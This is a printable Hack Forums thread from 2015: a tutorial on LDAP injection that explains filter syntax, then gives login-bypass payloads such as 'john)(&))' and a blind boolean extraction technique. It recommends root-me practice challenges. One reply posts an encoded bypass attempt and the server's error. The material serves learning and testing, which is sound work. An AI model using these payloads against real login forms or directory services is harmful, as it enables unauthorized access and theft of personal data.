[TUT] LDAP injection - Printable Version

[TUT] LDAP injection - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [TUT] LDAP injection (/showthread.php?tid=4681649)

[TUT] LDAP injection - Kiuhnm - Feb 11, 2015

LDAP Injection

I'll try to be very concise, so you'll need to use that brain of yours to connect the dots.

I won't insult your intelligence by talking of the OR and the AND cases. If you understand how things work and you know your boolean algebra, then you'll be fine.

Also, I suggest that you read a brief tutorial about LDAP before proceeding.

Let's get started!

LDAP (Lightweight Directory Access Protocol) is a protocol for accessing directory servers. A directory server is a hierarchical object oriented database.
The database is organized like a tree where each node, called entry, is an object which contains mandatory and optional attributes.
To search the database, one can write filters that look like this:

(&(objectClass=Book)(author=Stephen King))

This finds all the books of Stephen King.

Some important things to know:

Code 
(&)      is TRUE

(|)      is FALSE

attr=*      means "attr exists"

attr=ma*      means "attr's value starts with "ma"

attr=*a*      means "attr's value contains "a"

objectClass   this attribute is always present and indicates the class of the object/entry

Test for injectability

Just try to produce an error, for instance by entering ")".

Normal injection

Consider

(&(USER=Uname)(PASSWORD=Pwd))

If we inject

Uname = john)(&)

we get

(&(USER=john)(&))(PASSWORD=Pwd))

Note that we have two filters concatenated:

(&(USER=john)(&))

(PASSWORD=Pwd)

Usually, the server will parse the first filter and ignore the second. Also note that the parentheses are not well balanced. With some servers or parsers this can be a problem. If it is, inject something like

john)(&))((

to get

(&(USER=john)(&))(()(PASSWORD=Pwd))

Important: If the parser is still complaining, you might need to inject into both params in order to form a single filter. Let's say you can't use "*" as Pwd; what would you enter as Uname and Pwd to get just a single filter and bypass the login?

Boolean injection

Beware that many people call this Blind injection.
Like with SQLi, if we can get the server to answer Yes/No questions, we can extract any information a bit at a time.

Suppose the query is

(|(objectClass=val)(name=John))

Let's inject this into "val":

void)<QUESTION>)((

where <QUESTION> is our question.
We get

(|(objectClass=void)<QUESTION>)(()(name=John))

Note that objectClass is never "void", so (objectClass=void) is always false.
This means that if <QUESTION> if false, the filter doesn't find anything, whereas if <QUESTION> is true, the filter should find something.

This method works if the following questions give different results:

<QUESTION> = (&)

<QUESTION> = (|)

For instance, we can find out if there is an attribute named height with

<QUESTION> = (height=*)

Or we can guess the value of height by performing a binary search:

<QUESTION> = (height<100)

Or we can get the surname of John by guessing:

<QUESTION> = (user=John)(surname=A*)

We can also speed up the search by limiting the set of possible characters:

<QUESTION> = (user=John)(surname=*a*)

If a character is not present, there's no need to test for it when trying to find the surname.

Challenges

I found two interesting challenges for you.
Go to root-me, register and look for the challenges of type "Web - Server". Try to complete the challenges "LDAP injection - authentication" and "LDAP injection - blind".

Let me know if you have any problems with this tutorial or the two challenges.

* - N0c7urn - Feb 12, 2015

Really nice - book marked this - well done!

Nice to see something real on here for a change

* - Fʀᴀɴᴋɪᴇ - Feb 12, 2015

I have bookmarked this thread as well. Great tutorial, keep up the good work.

* - SIM-1293467 - Feb 12, 2015

Great nice for this uncommon inection

* - 01234567890 - Feb 12, 2015

****
Very well explained! :) ****

* - Kiuhnm - Feb 13, 2015

Thanks for the replies!
I'm already writing a new tutorial about advanced XPath injection. Stay tuned :)

* - hacker625 - Jun 6, 2015

Yes. i try to inject with your method but not success yet.

username=1%29%28%26%29%29%28%28&password=admin

ERROR : Invalid LDAP syntax : (&(uid=1)(&))(()(userPassword=admin))

* - Kiuhnm - Jun 7, 2015

(Jun 6, 2015 09:45 AM)hacker625 Wrote: Yes. i try to inject with your method but not success yet.

username=1%29%28%26%29%29%28%28&password=admin

ERROR : Invalid LDAP syntax : (&(uid=1)(&))(()(userPassword=admin))

See "Important" in my tutorial.

* - OGMaco - Jul 29, 2015

k nice tutorial man good work keep it up

* - DarkTruTH007 - Jul 30, 2015

nice explanation ... i really need this article ... :D

* - SiStemiC - Jul 30, 2015

Very nice man. I also bookmarked.

* - Culperring722 - Jul 30, 2015

AHH i see said the Blind man.
Nice tut